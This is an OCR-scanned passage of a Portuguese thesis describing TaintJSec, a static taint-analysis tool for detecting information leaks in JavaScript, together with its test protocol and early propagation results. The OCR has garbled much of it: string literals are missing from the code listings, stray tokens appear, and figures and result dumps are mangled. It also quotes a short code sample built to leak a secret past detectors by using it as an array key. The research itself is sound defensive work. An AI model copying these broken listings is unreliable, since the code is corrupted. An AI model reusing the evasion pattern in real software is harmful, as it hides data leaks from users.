Na primeira fase da abordagem (segao 4.1) foi utilizado o médulo jsDom [69] para carregar
o codigo HTML da pagina inicial da aplicacdo e gerar seu respectivo DOM. Assim, as
buscas por trechos de cédigo JavaScript foram realizadas no DOM em vez do codigo
HTML.

O jsDom é um médulo do Node.js que possibilita acessar o DOM (Document Object
Model) de uma estrutura HTML pelo lado do servidor. O jsDom carrega uma estrutura
HTML e gera seu respectivo DOM da mesma forma que um navegador convencional
geraria pelo lado do cliente. Também permite a adicao de bibliotecas JavaScript para

manipulacao dos objetos do c6digo HTML, como exemplifica o Cédigo 4.3.

1 |var jsdom = require( );

2 | jsdom.env(

3 >< </a><
4 [ 1,

5 function (errors, window) {

6 console.log( , window. $( ).text());

7 ION

Cddigo 4.3. Exemplo de uso do médulo jsDom, utilizando a biblioteca jQuery

para manipular objetos do c6digo HTML.

No exemplo apresentado pelo Cédigo 4.3, o modulo jsDom é carregado no Node.js na
linha 1 e atribuido a variavel jsdom. O moddulo inicia o carregamento do cédigo HTML
utilizando a funcao enwv(), como apresentado na linha 2. As linhas 3 e 4 apresentam os
argumentos enviados a fungao env(), onde c6digo HTML é o primeiro argumento e o
segundo argumento é o enderego da biblioteca jQuery [70]. Assim, o médulo jsDom gera
o DOM da estrutura HTML fornecida e permite que os elementos da estrutura possam
ser manipulados pela biblioteca jQuery. A linha 6 apresenta seletor da biblioteca jQuery,
window.$, que captura o texto presente entre as tags <a> e </a>. O resultado da
execucao do Codigo 4.3 apresenta a frase: “contents of a.the-link: jsdom!”.

A biblioteca jQuery foi adicionada ao jsDom para facilitar a busca pelas tags script

explicitamente declaradas, como mostra o Cédigo 4.4.

1 | function fnc_extrair_scripts(){

2 $( ) .each(

3 function(){

4 var obj = $(this);

5 var src = obj.attr( )?

6 obj.attr( ).trim():
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7 null;
if (src!=null && src.length>0)
fnc_get_source_js(obj,1); // externo ...

10 else

11 fnc_get_source_js(obj,2); // inline ...
12 }

13 DE

14 |}

Cddigo 4.4. Funcao de extracio de trechos scripts utilizando jQuery.

O seletor $(“script”) fornece o conjunto de tags script validas, presente na pagina
HTML previamente carregada, onde cada elemento do conjunto tem seu respectivo codigo
JavaScript extraido pela fungdo fnc_get source_js e, posteriormente, concatenado ao
c6digo do elemento predecessor. Esse processo tem como resultado um tnico codigo
JavaScript formado pela unido de todos os demais fragmentos de codigo, e organizado de

acordo com a ordem de leitura do HTML da pagina.

4.4.2 Segunda Fase: Arvore Sintatica Abstrata

Na segunda fase da abordagem (secao 4.2) foi utilizado o médulo Esprima [53] para criar
a arvore sintatica abstrata do cédigo gerado na fase anterior e, também para capturar
trechos do codigo original a partir da AST. Além disso, esse mddulo é utilizado para criar
a AST de trechos de c6digo JavaScript enviados como parametro para a fungao eval, onde
sao inseridos os tainted positions.

Por padrao, o médulo fornece uma AST minimalista, sem informagao suficiente para
que o analisador estatico possa detectar vazamento de informacao em codigos dindmicos,
como a fung¢ado eval, por exemplo. No entanto, o Esprima possui flags de configuracao,

que servem para ativar recursos extras na AST gerada. Essas flags sdo apresentadas na
Tabela 4.1.

Tabela 4.1. Flags de configuracdo do médulo Esprima.

Nome Tipo Padrao

jsx Booleano falso
range Booleano falso
loc Booleano falso

tolerant Booleano falso

tokens Booleano falso

comment | Booleano falso

Como ¢é possivel observar na Tabela 4.1, todas as flags de configuracao estao

desativadas por padrao. Cada uma delas é responsavel por inserir novas informacgoes
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na arvore sintatica abstrata ou alterar o comportamento do Esprima durante a criacao

da AST. Cada uma dessas opgoes de configuracao sao apresentadas a seguir.

o jsx - E a flag que ativa o suporte & sintaxe JSX*, que é uma extensao da sintaxe do
JavaScript visualmente parecida com XML e HTML. O Cédigo 4.5 apresenta um
exemplo de um codigo JavaScript que utiliza a sintaxe JSX.

1 |var mensagem = <div>
2 <p>Seja Bem-vindo</p>
3 | </div>;

Cddigo 4.5. Exemplo de codigo JavaScript com sintaxe JSX.

Caso a flag jsx nao estivesse ativada no médulo Esprima, o c6digo acima nao seria
suportado e ocorreriam erros durante o processo de criacao da AST. Como essa
sintaxe nao faz parte das especificagoes oficiais do ECMAScript, entao permaneceu

desativada, pois nao faz parte do escopo de pesquisa deste trabalho.

e range - Insere um atributo em cada né da AST gerada, que informa a posicao
do codigo JavaScript que foi responsavel por gera-lo. Assim, é possivel localizar
por meio do atributo range o trecho de cédigo contido em cada n6 da AST, como

exemplificado na Figura 4.17.

Caodigo JavaScript AST com range ativado

Program body [1]
ExpressionStatement
expression
AssignmentExpression
operator: =
left
[017] Identifier

name: teste

I
N

t e s t e range: [0, 5]

—
[0’5] [6,7] right

Literal
value: 1
raw: 1
range: [6, 7]
range: [0, 7]
range: [0, 7]

Figura 4.17. Exemplo de AST contendo o atributo range.

A Figura 4.17 mostra uma AST que contém o atributo range em cada um de seus

nos, informando o intervalo do cédigo JavaScript que eles representam.

4 https://facebook.github.io/jsx/
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Essa informagao é 1til para que o TaintJSec possa identificar trechos de informagao
sensivel contidos em valores literais, aplicando a técnica de taint position. Por isso,

essa flag foi ativada no Esprima.

o loc - Semelhante a flag range, essa opcao também fornece a localizagdo do trecho
de codigo responsavel por gerar os nés da arvore, mas a posicao do trecho de cdédigo

¢ informada pelo nimero da linha e da coluna.

Codigo JavaScript AST com loc ativado

Program body [2]
EmptyStatement
loc
start
line: 1
column: Q
end
line: 1
column: 1
ExpressionStatement
expression
AssignmentExpression
operator: =
left
Identifier
name: teste
loc
start
line: 2
column: 0

Colunas end

line: 2

012345867 comn:

right

. Literal

1
L’nhas ’ value: 1
2 |tle|s|te|=]1 !

loc

start
line: 2
column: &
end
line: 2
column: 7
loc
start
line: 2
column: 0
end
line: 2
column: 7
loc
start
line: 2
column: 0
end
line: 2
column: 7

Figura 4.18. Exemplo de AST contendo o atributo loc.
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Como essa flag é semelhante a range, diferenciando apenas por fornecer um meio

diferente de encontrar a posicao do cédigo JavaScript, entao ela nao foi ativada.

« tolerant - Tolera alguns casos de erros de sintaxe. Com essa flag ativada, o médulo
Esprima consegue gerar a AST mesmo que o codigo JavaScript apresente alguns
erro de sintaxe, como por exemplo o uso de variaveis nao declaradas em escopos
que executam em modo estrito. Essa flag nao foi ativada para uso no TaintJSec,
pois o modo estrito ndo faz parte do escopo de pesquisa do TuintJSec por reduzir a

versatilidade da linguagem, em especial a funcao eval.

« tokens - Coleta todos os tokens utilizados para gerar a AST. Esses tokens sao
utilizados pelo Esprima para criar a arvore sintatica abstrata e, por padrao, nao sao

apresentados na estrutura da arvore. Essa flag permaneceu desativada no TaintJSec.

o« comment - Coleta todos os comentarios de linha e de bloco. Por padrao, essa
flag esta desativada e o Esprima nao insere na arvore os nos que representam os
comentarios presentes no codigo JavaScript. Essa flag permaneceu desativada no
TaintJSec, pois o importante para este trabalho é manter os comentarios no cédigo
JavaScript agrupado, que foi gerado na fase de identificagdo e extragdo de codigo,

mas os comentarios nao precisam estar na AST.

Tabela 4.2. Configuragdo do médulo Esprima para a criagdo da AST utilizada no

TaintJSec.

Nome | Valor
jsx false
range true
loc false
tolerant false
tokens false
comment | false

Para obter uma AST satisfatoria, com informagoes suficientes para que o analisador
estatico pudesse utilizé-la neste trabalho, foi preciso ativar o flag range e deixar os demais

flags desativados, como apresentado na Tabela 4.2.

4.4.3 Terceira Fase: Andlise do Fluxo da Informacao

Na terceira fase da abordagem (segao 4.3) foi criada uma rotina de verificagdo para
cada n6 da AST, a qual executa uma série de operacoes de acordo com o tipo de no
informado pelo médulo Esprima (Quadro 4.2). Essas operagoes visam manter a correta
computacao e observancia dos dados, adaptando-se de acordo com o tipo de interacgao

entre os registradores.
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O Quadro 4.2 apresenta todos os tipos de nés possiveis que a AST pode fornecer.
Essa nomenclatura é fornecida pelo Esprima e cada n6 da AST possui um atributo type
que indica o seu tipo. Para cada tipo de nd, o analisador estatico executa um conjunto de
operagoes especificas, que servem para simular estaticamente o comportamente do codigo

JavaScript.

Quadro 4.2. Tipos de operacbes de acordo com a nomenclatura do médulo

Esprima.

Declaragoes Expressoes e Padrées
BlockStatement ArrayExpression
BreakStatement ArrowFunctionExpression
ContinueStatement AssignmentExpression

DebuggerStatement
DoWhileStatement
EmptyStatement
ExpressionStatement
ForStatement
ForInStatement
ForOfStatement
FunctionDeclaration
IfStatement
LabeledStatement
ReturnStatement
SwitchStatement
ThrowStatement
TryStatement
VariableDeclaration
WhileStatement
WithStatement

AwaitExpression
BinaryExpression
CallExpression
ClassExpression
ConditionalExpression
FunctionExpression
Identifier

Literal
LogicalExpression
MemberExpression
MetaProperty
NewExpression
ObjectExpression
SequenceExpression
Super

Tagged TemplateExpression
ThisExpression
UnaryExpression
UpdateExpression

YieldExpression

Para os nés que dependem da resolucao de niveis inferiores da arvore, foi criada
uma estrutura de pilha para armazena-los respeitando a ordem de interdependéncia entre
os mesmos, de modo que as folhas da AST ficassem no topo da estrutura. Assim, cada
nivel da pilha representa um né da AST, e conforme o né presente no topo da pilha
¢ desempilhado, o resultado de suas operacoes é propagado para o nivel subsequente,
satisfazendo a interdependéncia entre os nés.

A Figura 4.19 apresenta a arvore sintatica abstrata do cédigo 1==27true:false e

ilustra os passos de movimentacao da pilha durante a analise.



Passo 1

Passo 2

Passo 3

Passo 4

Arvore Sintatica Abstrata

"init™:

"type": "ConditionalExpression™,

"test":

ConditionalExpression

BinaryExpresszian

ConditionalExpression

Literal

BinaryExpreszian

ConditionalExpression

EinaryExpreszian

CanditionalExpression

Passo 5

Passo 6

Passo 7

Passo 8

"conseguent”
[ o
Cype"™: Literal™,
"wvalue™: true,
N S
—~aw t =]
"alternate"
"type": "Literal",
"yalue": false,
MoamggM e ME=71con
Zaw fG._LI:

Literal

BinaryExpression

ConditionalExpressiaon

BinaryExpresszion

CaonditionalExpression

CanditionalExpression

Literal

ConditionalExpression

Passo 9

ConditionalExpressiaon

Figura 4.19. Exemplo do uso da pilha durante a andlise.

PS[IWD], T

09
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No exemplo da Figura 4.19 o né raiz da AST é do tipo ConditionalExpression
(Expressdao Condicional) e possui primeiramente uma fase de teste. Porém, no valor
do atributo test existe um noé do tipo BinaryEzpression que precisa ser calculado antes,
ja este por sua vez, depende da resolucao dos atributos left e right que possuem ambos

nos do tipo Literal. Os passos de movimentacgao da pilha sdo explicados abaixo:

1. A base da pilha. O né do tipo ConditionalExpression é armazenado para aguardar

a resolucao do né que contém o valor do atributo test.

2. O né do tipo BinaryEzpression (expressao binéria) é empilhado, porém ele também

precisa da resolucao de outro né para obter o valor do atributo left.

3. O n6 do tipo Literal é empilhado e, por ser uma folha da AST e nao depender
de nenhum outro né para que possa ser analisado, ele é calculado de imediato,
retornando o valor de niimero inteiro 1 para o né inferior, sendo desempilhado logo

em seguida.
4. O valor do atributo left é obtido, porém é preciso obter o valor do atributo right.

5. O n6 do tipo Literal é empilhado e, por ser uma folha da AST e nao depender
de nenhum outro né para que possa ser analisado, ele é calculado de imediato,
retornando o valor de niimero inteiro 2 para o né inferior, sendo desempilhado logo

em seguida.

6. As dependéncias do né BinaryFExpression foram satisfeitas e os valores dos atributos
left e right foram obtidos. O teste (1 == 2) é realizado e seu resultado é enviado

a base da pilha. O né BinaryEzrpression é desempilhado.

7. Como o teste falhou, o atributo consequent nao é verificado, mas em seu lugar o
atributo alternate. Porém, para obter o valor de alternate é preciso analisar o n6 do

tipo Literal antes.

8. O né do tipo Literal é empilhado e, por ser uma folha da arvore e nao depender
de nenhum outro né para que possa ser analisado, ele é calculado de imediato,
retornando o valor booleano false para o no inferior e sendo desempilhado logo em

seguida.

9. A base da pilha recebe o valor false e desempilha. Finalizando o processo da andlise

da AST.

O Algoritmo 4.6 apresenta a légica utilizada para identificar o tipo do né, assim como

realizar operacoes especificas para cada um deles. Esse processo repete-se consumindo as
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Algoritmo 4.6: Identificacdo e tratamento dos diferentes tipos de operacoes

contidas em cada né da AST.

1 Funcao COMPT (A, p)

Saida: A estrutura de um registrador contendo o valor resultante da
operacao atual

/* onde A é a pilha, e
/* 1 é& o nivel atual da pilha

2 inicio

3 Noh + Aly]

4 reg < {}

5 selecione Noh.tipo faga

6 caso [ faga

7 reg < tracking tipo_1;

8 break;

9 fim

10 caso 2 faga

11 reg < tracking tipo_ 2;

12 break;

13 fim

14

15 caso n faga

16 ‘ reg <— tracking tipo_n;

17 fim

18 fim

19 fim

20 retorna reg

*/
*/

folhas da arvore e propagando o resultado aos niveis superiores até chegar a sua raiz, caso

nenhum vazamento de informacao tenha sido identificado.

Para cada tipo de operagao JavaScript especificada na AST foi criado um cédigo

para simular estaticamente o mesmo comportamento que a operacao teria caso fosse

executada dinamicamente.
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Tainted Sources e Tainted Sinks

Os tainted sources e os tainted sinks foram organizados em estruturas de vetores,
cujas posigoes foram preenchidas pela lista de fungoes ou métodos sensiveis.

Essa estrutura passou a ser consultada todas as vezes em que a arvore sintatica
abstrata apresentava um noé do tipo MemberEzpression ou CallExpression, pois esses sao
os tipos responsaveis por identificar o nomes de métodos ou fungoes nativos, os quais

podem fornecer dados sensiveis ou envia-los para fontes nao confiaveis.
Registradores

Para os registradores de objetos foi criada uma classe, a qual possuia trés atributos:
o valor, o taint tag e um atributo especifico para objetos construidos a partir de instancias
de fungoes, quando essas possuem seus proprios atributos.

Cada registrador é uma instancia dessa classe.

1 | function Objeto(valor,tainted,varobj){
2 this.valor = valor;
3 this.tainted = tainted==undefined ||
4 tainted==null ? 0 : tainted;
5 this.varobj = varobj==undefined ||
6 varobj==null ? [] : varobj;
70}
Cddigo 4.6. Classe de registradores de objetos.
Escopos

Os escopos foram organizados em uma estrutura vetorial. Seu contetido é composto
por um objeto com cinco atributos, sendo eles: o nome do escopo, o vetor de registradores
de objetos que pertencem a esse escopo, os vetor de atributos, o vetor de variaveis de
objetos e o vetor de construtores de fungoes declaradas no escopo.

A paridade entre os escopos é controlada pelo identificador de posicao id de tal
maneira que, dois escopos com identificadores 1.1 e 1.2, por exemplo, sdo escopos

adjacentes e também subescopos de um terceiro que possui identificador igual a 1.

1 |function fnc_cria_escopo(id, nome_escopo){

2 _escopos[id] =

3 { nome: nome_escopo, // nome do escopo

4 objetos [, // objetos do escopo

5 _this L1, // atributos do objeto

6 _varobj :[1, // varidveis do objeto

7 _prototype:[] // fungdo utilizada para instanciar objetos
8
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9 |3

Cdédigo 4.7. Fungao para criar escopos.

Ao iniciar a andalise de uma funcdo explicitamente declarada, a funcao
fnc__cria__escopo é invocada para criar o escopo da funcao a ser analisada. Esse mesmo

escopo ¢ destruido logo que a anélise é finalizada.
Funcoes

As fungoes explicitamente declaradas no cédigo JavaScript foram armazenadas na
estrutura de registradores de objetos.

O registrador de uma fungao contém sua respectiva AST, informada pelo médulo
Esprima, cuja raiz é formada com um né do tipo FunctionDeclaration. Assim, quando o
TaintJSec identifica a chamada de uma func¢do nao-nativa, um novo escopo é criado e a
AST da funcgao é fornecida pelo seu registrador. Ao final da analise, o escopo da funcao
é destruido e, se a funcao possuir qualquer valor de retorno, este é enviado por meio de
outro registrador.

Os construtores de func¢des nao-nativas foram armazenados no atributo vetorial
__prototype presente no escopo da declaracao. Esse atributo tem a finalidade de fornecer
o construtor para que seja utilizado em operacoes do tipo NewFxpression, de tal maneira
que as instancias de uma func¢ao pudessem receber novos objetos inseridos no escopo da

funcao instanciada por meio do Prototype, como exemplifica o Codigo 4.8.

function fnc_pessoa() {
this.primeiroNome = ;
}
var alguem = new fnc_pessoa();
fnc_pessoa.prototype.ultimoNome = ;

U W N =

Caédigo 4.8. Exemplo da utilizagdo do prototype para inserir novos atributos em

uma funcdo/classe.

A linha 4 do Cddigo 4.8 apresenta um exemplo de operacao do tipo NewEzpression,
onde uma nova instancia da funcao fnc__pessoa é criada. Nesse exemplo, o TaintJSec nao
executa a funcao fnc__pessoa, mas utiliza o seu construtor armazenado no registrador
__escopos[1]._ prototype[“fnc_ pessoa”].

O construtor de uma funcao é obtido a partir da extragao da declaragao da fungao, no
codigo JavaScript original (artefato de saida da primeira fase da abordagem). A posigao
exata do corpo da fun¢do consta no atributo range do né FunctionDeclaration da AST. Foi
utilizada uma sandbox para capturar todas as variaveis globais e dos escopos superiores

para entao utilizar o médulo VM [71] para compilar o cédigo da fungao utilizando o
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método vm.runInNewContext(code[, sandbox][, options]). Essa compilagdo nao executa
a fun¢do, mas fornece o seu construtor, o qual é armazenado no atributo _ prototype do

escopo em que a funcao foi declarada.

4.5 Consideracoes Finais

Este capitulo apresentou o TaintJSec, uma diferente forma de realizar analise estatica de
marcacao em codigo JavaScript para prever o vazamento de informacao.

Foram apresentadas as trés fases da abordagem e cada uma foi explicada
detalhadamente, sendo elas as seguintes fases: identificacao e extracao de codigo; criacao
da arvore sintatica abstrata; e, andlise do fluxo de informacao.

Na primeira fase, a forma como é feita a identificacdo e a extracdo de codigo foi
exemplificada. Foram apresentados pontos importantes para serem observados durante a
fase de identificacao de codigo para evitar a extracao de falsos cédigos JavaScript.

A segunda fase do TaintJSec informou os diferentes trabalhos no campo de analise
de codigo que usam arvores sintaticas como um codigo intermediario e mostrou como AST
é util para o TaintJSec. A estrutura da arvore sintdtica e as informacgoes que ela deve
conter para que seja utilizada no analisador estatico durante o processo de identificacao
de vazamento de informagao foram abordadas.

Na terceira fase da abordagem foram apresentadas as estruturas dos registradores de
objetos, utilizados para armazenar variaveis, fungoes, escopos e demais objetos do codigo
JavaScript. Os algoritmos usados para manipular os objetos, verificar taint sources, taint
sinks e detectar o vazamento de informacao foram apresentados.

Os tipos de propagacao do taint tag foram abordados, sendo eles: atribuicao,
expressao, passagem de parametro e func¢ao nativa.

Para realizar a analise estatica na fun¢do nativa ewval foi preciso criar um novo
conceito denominado taint position, que é responsavel por informar a posicao de um taint
data presente em um valor literal. O algoritmo usado para criar o conjunto de taint
position foi apresentado junto com as cinco regras que a técnica utiliza para atualizar a
posicao dos dados sensiveis.

Este capitulo também apresentou como ocorreu a implementagao do TaintJSec
em cada uma das fases da andlise, mostrando cédigos e configuragoes utilizadas neste
trabalho.



Capitulo 5

Testes e Resultados

Neste capitulo sao apresentados os testes realizados para validar a eficicia do TaintJSec na
detecgao do vazamento de informacao sensivel. Este capitulo inicia com a apresentacao
do protocolo experimental, onde sao descritos os passos realizados para a criagao dos

experimentos. Em seguida, sao apresentados os testes e seus respectivos resultados.

5.1 Protocolo Experimental

Para montar a base de testes foram obtidos cédigos JavaScript de quatro fontes distintas,
sendo elas: codigos aleatdrios gerados pela ferramenta Eslump [72]; cddigos obtidos na
base de testes do framework SAFE!; cédigos da base de testes do JSPrime?; e, cddigos
extraidos de artigos publicados.

A utilizacdo de uma ferramenta de geracdo automatica e aleatéoria de codigos
JavaScript, como a FEslump, foi motivada pela necessidade de diminuir a participagao
humana durante a criacao de cdédigos para os testes. Dessa maneira, qualquer limitacao
humana para construir codigos JavaScript foi eliminada e os cdédigos gerados pela
ferramenta mostram-se imparciais para a realizacao dos testes. Os codigos foram criados
utilizando o comando eslump ——source-type script e somente aqueles validados pela
funcao esvalidate® foram extraidos.

Os codigos utilizados para testar o framework SAFE [58, 60] e o JSPrime foram
inseridos na base de testes do TaintJSec para que fossem usados para validar as operagoes
realizadas pelo analisador estatico.

Artigos publicados por Jihyeok Park et al. [59] e Alireza Gorji et al. [73] apresentam

codigos JavaScript que os autores descreveram como dificeis de serem analisados por

1 https://github.com/sukyoung/safe/tree/master/tests
2 https://docs.google.com/document/d/17J2h43WbPX3sNTIjxr4GhzEGxKy6hvQJqedd3UQ11mY
3 https://www.npmjs.com/package/esvalidate
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trabalhos que usavam analise estatica para detectar o vazamento de informacao, como

por exemplo, o Codigo 5.1, extraido do trabalho de Kannan [74].

1 |a[secret] = 1;

2 |for (int 1 = 0; 1 < a.length; i++) {
3 if (a[i] == 1) leak = i;

4 1}

Cdédigo 5.1. Exemplo de um cédigo JavaScript que usa informagao sensivel como

chave de vetor para praticar o vazamento de informacao.

O exemplo apresentado no Cédigo 5.1 mostra uma tentativa de enganar os detectores
de vazamento de informacao. O codigo utiliza um taint data como chave de um elemento
vetor (linha 1) para, logo em seguida, recuperar a informacao sensivel baseando-se no
valor atribuido a posigao referenciada pela chave (linha 3).

Esses codigos foram inseridos na base de testes do TuintJSec para avaliar a
capacidade de deteccao da abordagem.

Com a base de testes criada, foi realizada uma tarefa de identificagdo e exclusao
de codigos similares. Essa tarefa foi necessaria para evitar testes desnecessarios, onde
somente nomes de varidveis ou valores eram alterados em um cédigo que utiliza a mesma
légica ou o mesmo recurso da linguagem. A Figura 5.1 exemplifica trés codigos similares

que usam func¢ao JavaScript.

Cédigo 1 Cédigo 2 Cédigo 3
function X(a){ function Y(b){ function Z(c){

return 1; return "2"; return null;
} } }

Figura 5.1. Exemplo de cédigos JavaScript similares.

Todos os cddigos da base tiveram seus respectivos codigos similares excluidos.

Apos a tarefa de exclusao de similares sobraram 309 casos de testes, os quais foram
agrupados de acordo com a operacao JavaScript que executavam. Por exemplo, codigos
que realizavam operacao de execugao de fungao foram agrupados formando um conjunto
de testes para avaliar a correta computacao de execugdes de fungao. Outros coédigos, que
executavam operacao de lago de repetigao, foram agrupados formando um conjunto de
testes para operagoes de laco de repeticao, e assim por diante. Essa tarefa de agrupamento

resultou em 14 conjuntos de testes, como apresentado no Quadro 5.1.
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Quadro 5.1. Conjuntos de testes realizados para testar a propagacgao do taint tag.

Conjuntos Testes N€¢ de Operagoes
1 Atribui¢do Encadeada 3
2 Atribuigdo Simples 37
3 Condicional 22
4 Funcao Nao-Nativa 50
5 Funcdo Nativa 21
6 Funcao Nativa (eval) 10
7 Prototype 56
8 Lago de Repetigao (do while) 11
9 Lago de Repetigao (for) 9
10 Lago de Repetigao (for in) 6
11 Lago de Repeti¢ao (while) 8
12 Switch 20
13 Try-Catch 26
14 Vetor 30

Os 14 conjuntos de testes foram utilizados para testar a qualidade computacional

do analisador estatico e a corretude da propagacao do taint tag. Para validar os

resultados obtidos em operacoes de expressdes matematicas ou execucao de fungoes

nativas ou qualquer interacao entre os objetos do codigo, os testes foram executados

no SpiderMonkey.

Foram organizadas trés baterias de testes:

(1)

Testes de Propagacao - sao testes que foram realizados para validar a correta
propagacao do taint tag nos diferentes tipos de operagoes JavaScript, tais como
as operacoes de: atribuicao; condicionais; lagos de repeticao; switch; try-catch;
execucao de funcgoes; e, insercao de novos atributos em instancias de objetos,
por meio do prototype. Para essa bateria de testes foram utilizados todos os
conjuntos, exceto o conjunto de testes para validar a propagacao na execugao

da funcao ewal, pois esse conjunto foi utilizado em outra bateria de testes.

Testes com a Fungao ewval - foram realizados para validar a eficacia da correta
propagacao do taint tag utilizando taint position. Nessa bateria de teste foi
utilizado o conjunto de testes com 10 casos distintos de execugao da fungao
eval contendo operagoes como: concatenacao de taint data; inclusao de objetos
portadores de taint data; chamadas recursivas; e, operagoes encadeadas. Além
dos casos de teste, também foi desenvolvida uma aplicagao maliciosa, cujo codigo

JavaScript apresenta uma combinacao da func¢do eval com técnicas de ofuscagao
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para taint source e taint sink com a finalidade de praticar o vazamento de

informagao.

(3) Testes em Cdédigos Ofuscados - realizados para avaliar a capacidade do
TaintJSec em detectar vazamento de informagao em codigos ofuscados por
ferramentas especificas para tal finalidade. Foram realizados testes utilizando

c6digos ofuscados a partir de ferramentas como JSCompress [75], Aaencode [76],

JSFuck [77], JSCrambler [78] e Packer [79)].

A seguir, a Figura 5.2 apresenta uma visao geral do processo de criagdo dos

experimentos utilizados para validar a proposta desta pesquisa.

FONTE FONTE FONTE FONTE
[ Eslump SAFE JSPrime Artigos

Base de Teste

Completa, com todos os
codigos

Base de Teste

Filtrada, sem codigos
similares

Testes de Testes com a Testes com
Propagacéo Funcéo eval Cadigos Ofuscados

Figura 5.2. Visao geral do protocolo experimental.

As secOes seguintes apresentam os testes realizados e os resultados obtidos. A secao
5.2 apresenta os testes de propagacao do taint tag. A se¢do 5.3 mostra os testes com a

funcao ewval. Por fim, e a secao 5.4 apresenta os testes realizados com cédigos ofuscados.
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5.2 Testes de Propagacao

Para validar o taint propagation foram realizados testes utilizando os conjuntos
apresentados no Quadro 5.1 (exceto o conjunto 6, pois ele é utilizado nos testes da segao
5.3), onde cada grupo testou a corretude da computagdo de operagoes pertencentes as
especificagoes da linguagem JavaScript (ECMAScript 6).

Uma fungdo denominada getNome foi marcada como taint source para que o taint
tag a propagacao do taint tag pudesse ser visualizada nos resultados. Cada conjunto é

apresentado seguido dos resultados obtidos pelo analisador estético, TaintJSec.

5.2.1 Atribuicao

Para a operacao de atribuicao, os casos de testes dividem-se em operacoes encadeadas e
simples. Nas atribui¢des encadeadas o valor ¢ atribuido a mais de uma variavel, onde as
variaveis apresentam-se em sequéncia. Enquanto a atribuicao simples realiza operagoes

para uma Unica variavel.

5.2.1.1 Atribuicao Encadeada

1 |atrserie_teste=atrserie_answer=++[++[+[]J]1[+[]1]1]1[+[1];

2 |var __atrserie_ab=atrserie_abc=++[+[]][0];

3 |var ab=cd=getNome(); // tainted

A linha 1 do presente teste apresenta uma operacao encadeada de duas varidveis

globais. A variavel atrserie_ teste e a variavel atrserie__answer recebem o valor 2
(resultante a expressao +—+[+—+[+[ ]][+] ]]][+][ ]]) que ndo é um taint data. A linha 3,
por outro lado, apresenta uma operacao de atribuicao encadeada entre uma variavel local
e uma variavel global, onde ambas recebem um taint data e, consequentemente, sao

marcadas com o taint tag.

Resultado 5.2. Teste de atribuicdo encadeada.

2 || Nivel: O

3 || Nome: raiz

4 || Registradores Locais:

5 || __atrserie_ab = Variavel { valor: 1, tainted: 0}

6 || ab = Variavel { valor: , tainted: 1}
7 _______________________

8 e e e e e e e e e e e e e e e et

9 _______________________

10 Nome: Variaveis Globais

N

|| Registradores Globais:

12 || atrserie_answer = Variavel { valor: 2, tainted: 0}
|| atrserie_teste = Variavel { valor: 2, tainted: 0}
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14 || atrserie_abc = Variavel { valor: 1, tainted: 0}
15 | cd = Variavel { valor: , tainted: 1}
16 =mmmmmmm e e

Como apresentado no Resultado 5.2, o analisador propagou corretamente a taint
tag para as variaveis ab e cd (linhas 6 e 15, respectivamente) e manteve a separagao de

€SCOPOs.

5.2.1.2 Atribuicao Simples

1 |atrimed_a = 2;

2 |atrimed_b = 5.2;

3 |atrimed_c = atrimed_b % 2;

4 |atrimed_d = 3;

5 |atrimed_e = 2;

6 |atrimed_f = atrimed_d << atrimed_e;

7 |atrimed_g = 223 >> atrimed_d;

8 |atrimed_h = 1345 >>> 3;

9 |atrimed_i = atrimed_e & 3;

10 |atrimed_j = atrimed_e A atrimed_c;

11 |atrimed_k = atrimed_d | atrimed_a | 4;

12

13 |var atrimed_var1 = :

14 |var atrimed_var2 = 4;

15

16 |atrimed_l1 = 5;

17 |atrimed_1 += atrimed_a; // Atribuicdo com adigdo

18 |atrimed_m = 5;

19 |atrimed_m -= atrimed_a; // Atribui¢do com subtracdo
20 |atrimed_n = 5;

21 |atrimed_n *= atrimed_a; // Atribui¢do com multiplicacgao
22 |atrimed_o = 5;

23 |atrimed_o /= atrimed_a; // Atribuicdo com divisao

24 |atrimed_p = 5;

25 |atrimed_p %= atrimed_a; // Atribuigdo com resto

26 |atrimed_q = 5;

27 |atrimed_q <<= atrimed_a; // Atribuicdo com left shift
28 |atrimed_r = 5;

29 |atrimed_r >>= atrimed_a; // Atribuicdo com right shift
30 |atrimed_s = 5;

31 |atrimed_s >>>= atrimed_a; // Atribui¢do com unsigned right shift
32 |atrimed_t = 5;

33 |atrimed_t &= atrimed_a; // Atribuigdo com bitwise AND
34 |atrimed_u = 5;

35 |atrimed_u A= atrimed_a; // Atribuicdo com bitwise XOR
36 |atrimed_v = 5;

37 |atrimed_v |= atrimed_a; // Atribui¢do com bitwise OR
38

39 |atrimed_teste = {gu: parselnt(atrimed_var2+ )};
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40 ‘atrimed_ver = atrimed_teste.gu + getNome();

O conjunto de atribuicao simples é composto por operacoes de atribuicao de valor

para apenas uma variavel. Os casos de testes cobrem todos os operadores de atribuicao

contidos nas especificades da linguagem, tais como operadores aritméticos e bit a bit. Para

testar a propagacao do taint tag a funcao marcada como taint source foi acrescentada na

linha 40.
Resultado 5.3. Teste de atribuicdo simples
1 _______________________
2 || Nivel: O
3 || Nome: raiz
4 || Registradores Locais:
5 || atrimed_var1 = Variavel { valor: , tainted: 0}
6 || atrimed_var2 = Variavel { valor: 4, tainted: 0}
7 _______________________
8 e e e e e e e e e e e e e e e e e e e e e e e e e ]
9 _______________________
10 Nome: Variaveis Globais
11 Registradores Globais:
12 atrimed_a = Variavel { valor: 2, tainted: 0}
13 atrimed_b = Variavel { valor: 5.2, tainted: 0}
14 atrimed_c = Variavel { valor: 1.2000000000000002, tainted: 0}
15 atrimed_d = Variavel { valor: 3, tainted: 0}
16 atrimed_e = Variavel { valor: 2, tainted: 0}
17 atrimed_f = Variavel { valor: 12, tainted: 0}
18 atrimed_g = Variavel { valor: 27, tainted: 0}
19 atrimed_h = Variavel { valor: 168, tainted: 0}
20 atrimed_i = Variavel { valor: 2, tainted: 0}
21 atrimed_j = Variavel { valor: 3, tainted: 0}
22 atrimed_k = Variavel { valor: 7, tainted: 0}
23 atrimed_1 = Variavel { valor: 7, tainted: 0}
24 temp_0_44934226253843623 = Variavel { valor: 2, tainted: 0}

[
[
[
[
[
[
[
[
[
[
[
[
[
[
[
25 || atrimed_m = Variavel { valor: 3, tainted: 0}
[
[
[
[
[
[
[
[
[
[
[
[
[
[
[

26 temp_0_49647817708097164 = Variavel { valor: 2, tainted: 0}
27 atrimed_n = Variavel { valor: 10, tainted: 0}

28 temp_0_11875163609911987 = Variavel { valor: 2, tainted: 0}
29 atrimed_o = Variavel { valor: 2.5, tainted: 0}

30 temp_0_1591466335119074 = Variavel { valor: 2, tainted: 0}
31 atrimed_p = Variavel { valor: 1, tainted: 0}

32 temp_0_2578797919261797 = Variavel { valor: 2, tainted: 0}
